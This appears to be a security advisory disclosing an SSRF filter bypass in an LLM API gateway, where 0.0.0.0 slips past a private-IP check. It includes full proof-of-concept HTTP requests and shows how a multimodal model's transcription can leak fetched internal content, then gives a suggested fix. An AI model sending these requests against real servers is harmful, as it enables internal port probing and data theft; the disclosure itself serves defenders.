Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

• If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
• When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path
• The fetched content is rewritten to type: "base64" and inlined into the model request
• The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.
2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)
2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
   • 0.0.0.0/8 ("This network")
   • 100.64.0.0/10 (Carrier-grade NAT)
   • 198.18.0.0/15 (Benchmarking)
   • IPv6 equivalents: ::1, ::, [::], fe80::/10
3. Apply the same IP validation to post-redirect targets (already partially addressed in service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

• CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
• CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6